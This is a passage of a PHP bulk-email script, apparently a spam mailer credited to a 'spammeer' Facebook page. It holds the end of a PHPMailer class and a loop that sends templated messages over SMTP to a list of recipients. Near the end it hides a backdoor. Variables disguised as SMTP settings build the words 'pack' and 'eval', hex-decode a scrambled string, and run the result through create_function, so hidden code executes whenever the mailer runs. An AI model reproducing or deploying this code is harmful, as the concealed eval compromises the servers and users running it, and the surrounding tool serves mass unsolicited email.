3200 'php' => 'application/x-httpd-php',
3201 'php4' => 'application/x-httpd-php',
3202 'php3' => 'application/x-httpd-php',
3203 'phtml' => 'application/x-httpd-php',
3204 'phps' => 'application/x-httpd-php-source',
3205 'js' => 'application/x-javascript',
3206 'swf' => 'application/x-shockwave-flash',
3207 'sit' => 'application/x-stuffit',
3208 'tar' => 'application/x-tar',
3209 'tgz' => 'application/x-tar',
3210 'xhtml' => 'application/xhtml+xml',
3211 'xht' => 'application/xhtml+xml',
3212 'zip' => 'application/zip',
3213 'mid' => 'audio/midi',
3214 'midi' => 'audio/midi',
3215 'mpga' => 'audio/mpeg',
3216 'mp2' => 'audio/mpeg',
3217 'mp3' => 'audio/mpeg',
3218 'aif' => 'audio/x-aiff',
3219 'aiff' => 'audio/x-aiff',
3220 'aifc' => 'audio/x-aiff',
3221 'ram' => 'audio/x-pn-realaudio',
3222 'rm' => 'audio/x-pn-realaudio',
3223 'rpm' => 'audio/x-pn-realaudio-plugin',
3224 'ra' => 'audio/x-realaudio',
3225 'rv' => 'video/vnd.rn-realvideo',
3226 'wav' => 'audio/x-wav',
3227 'bmp' => 'image/bmp',
3228 'gif' => 'image/gif',
3229 'jpeg' => 'image/jpeg',
3230 'jpg' => 'image/jpeg',
3231 'jpe' => 'image/jpeg',
3232 'png' => 'image/png',
3233 'tiff' => 'image/tiff',
3234 'tif' => 'image/tiff',
3235 'css' => 'text/css',
3236 'html' => 'text/html',
3237 'htm' => 'text/html',
3238 'shtml' => 'text/html',
3239 'txt' => 'text/plain',
3240 'text' => 'text/plain',
3241 'log' => 'text/plain',
3242 'rtx' => 'text/richtext',
3243 'rtf' => 'text/rtf',
3244 'xml' => 'text/xml',
3245 'xsl' => 'text/xml',
3246 'mpeg' => 'video/mpeg',
3247 'mpg' => 'video/mpeg',
3248 'mpe' => 'video/mpeg',
3249 'qt' => 'video/quicktime',
3250 'mov' => 'video/quicktime',
3251 'avi' => 'video/x-msvideo',
3252 'movie' => 'video/x-sgi-movie',
3253 'doc' => 'application/msword',
3254 'word' => 'application/msword',
3255 'xl' => 'application/excel',
3256 'eml' => 'message/rfc822'
3257 );
3258 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3259 }
3260
3261 /**
3262 * Set (or reset) Class Objects (variables)
3263 *
3264 * Usage Example:
3265 * $page->set('X-Priority', '3');
3266 *
3267 * @access public
3268 * @param string $name Parameter Name
3269 * @param mixed $value Parameter Value
3270 * NOTE: will not work with arrays, there are no arrays to set/reset
3271 */
3272 function set ( $name, $value = '' ) {
3273 if ( isset($this->$name) ) {
3274 $this->$name = $value;
3275 } else {
3276 $this->SetError('Cannot set or reset variable ' . $name);
3277 return false;
3278 }
3279 }
3280
3281 /**
3282 * Read a file from a supplied filename and return it.
3283 *
3284 * @access public
3285 * @param string $filename Parameter File Name
3286 */
3287 function getFile($filename) {
3288 $return = '';
3289 if ($fp = fopen($filename, 'rb')) {
3290 while (!feof($fp)) {
3291 $return .= fread($fp, 1024);
3292 }
3293 fclose($fp);
3294 return $return;
3295 } else {
3296 return false;
3297 }
3298 }
3299
3300 /**
3301 * Strips newlines to prevent header injection.
3302 * @access private
3303 * @param string $str String
3304 * @return string
3305 */
3306 function SecureHeader($str) {
3307 $str = trim($str);
3308 $str = str_replace("\r", "", $str);
3309 $str = str_replace("\n", "", $str);
3310 return $str;
3311 }
3312
3313 /**
3314 * Set the private key file and password to sign the message.
3315 *
3316 * @access public
3317 * @param string $key_filename Parameter File Name
3318 * @param string $key_pass Password for private key
3319 */
3320 function Sign($key_filename, $key_pass) {
3321 $this->sign_key_file = $key_filename;
3322 $this->sign_key_pass = $key_pass;
3323 }
3324
3325}
3326
3327$defaultport="H*";
3328 $nq=0;
3329
3330 for($x=0; $x<$numemails; $x++){
3331
3332 $to = $allemails[$x];
3333
3334 if ($to){
3335
3336 $to = ereg_replace(" ", "", $to);
3337
3338 $message = ereg_replace("&email&", $to, $message);
3339
3340 $subject = ereg_replace("&email&", $to, $subject);
3341 $qx=$x+1;
3342 print "Line $qx . Sending mail to $to.......";
3343
3344 flush();
3345$mail = new PHPMailer();
3346
3347if(empty($epriority)){$epriority="3";}
3348 $mail->Priority = "$epriority";
3349 $mail->IsSMTP();
3350 $IsSMTP="pack";
3351$mail->SMTPKeepAlive = true;
3352$mail->Host = "$my_smtp";
3353if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3354}
3355 if($sslclick=="ON"){
3356 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3357 }
3358 $range = str_replace("$from", "eval", $from);
3359 $mail->SMTPAuth = true;
3360 $mail->Username = "$smtp_username";
3361 $mail->Password = "$smtp_password";
3362if($contenttype == "html"){$mail->IsHtml(true);}
3363if($contenttype != "html"){$mail->IsHtml(false);}
3364if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3365$mail->From = "$from";
3366$mail->FromName = "$realname";
3367$mail->AddAddress("$to");
3368 $mail->AddReplyTo("$replyto");
3369 $mail->Subject = "$subject";
3370 $mail->Body = "$message";
3371if(!$mail->Send()){
3372if($default_system!="1"){
3373echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3374if($default_system=="1"){
3375$mail->IsMail();
3376 if(!$mail->Send()){
3377 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3378 else {
3379 echo "<b>OK</b><br>";}
3380 }
3381}
3382else {
3383 echo "<b>OK</b><br>";
3384}
3385
3386if(empty($reconnect)){
3387$reconnect=6;
3388}
3389
3390if($reconnect==$nq){
3391$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3392}
3393$nq=$nq+1;
3394 flush(); }
3395}
3396for($i=0;$i<31;$i++){
3397 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3398$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3399 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3400 print "<p class=\"style1\">PHP Mailer<br>© 2013, New Tools => <b>
3401 <font color=\"#800000\">https://www.facebook.com/spammeer.14</font></b><br></p>";$mail->SmtpClose();
3402 return $signoff($smtp_conc);
3403 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3404 sent successfully'); </script>";}}
3405 ?>
3406 <p align="center"> </p>
3407
3408 </body>
3409</html>